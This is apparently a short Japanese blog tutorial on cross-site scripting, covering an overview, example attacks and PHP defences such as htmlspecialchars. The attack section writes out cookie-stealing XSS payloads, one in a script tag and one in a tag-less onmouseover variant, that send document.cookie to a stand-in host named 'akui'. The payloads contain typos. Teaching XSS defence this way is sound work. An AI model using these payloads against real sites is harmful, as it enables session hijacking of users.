Webセキュリティ(2)-XSS(クロスサイトスクリプティング)

Script Insertionと類似しているのがXSS(クロスサイトスクリプティング)です。

おそらく一番有名なアタック方法ではないでしょうか?
【概要】
特定のURIを送り込んで(JavaScript)、強制的にスクリプトを実行させる。

HTTPにJavaScriptがのるのが特徴
【攻撃】
以下のJavaScriptを掲示板等の入力フォームに書きこむか、

もしくは、同様のものをメールで送信し、踏ませる

例(JavaScript):
1)http://target/index.php?id=
<script>document.localtion='http://akui/?'+document.cookie;
</script>
2)タグなしパターン
http://target/indexphp/"
onmouseover="document.location='http:akui/?'+document.cookie;/

【防御】
HTMLサニタイズ(無害化)する

例(PHP):
1)echo htmlspecialchars($row['name'],ENT_QUOTES);
2)IEのバグでjavascriptの間に制御文字が入ってもスクリプトの開始と
みなすため、ブラックリスト法では対処が不十分
preg_replace('/javascript/i', '',
preg_replace('/[x00-x20x22x27]/', '', $url));

About this entry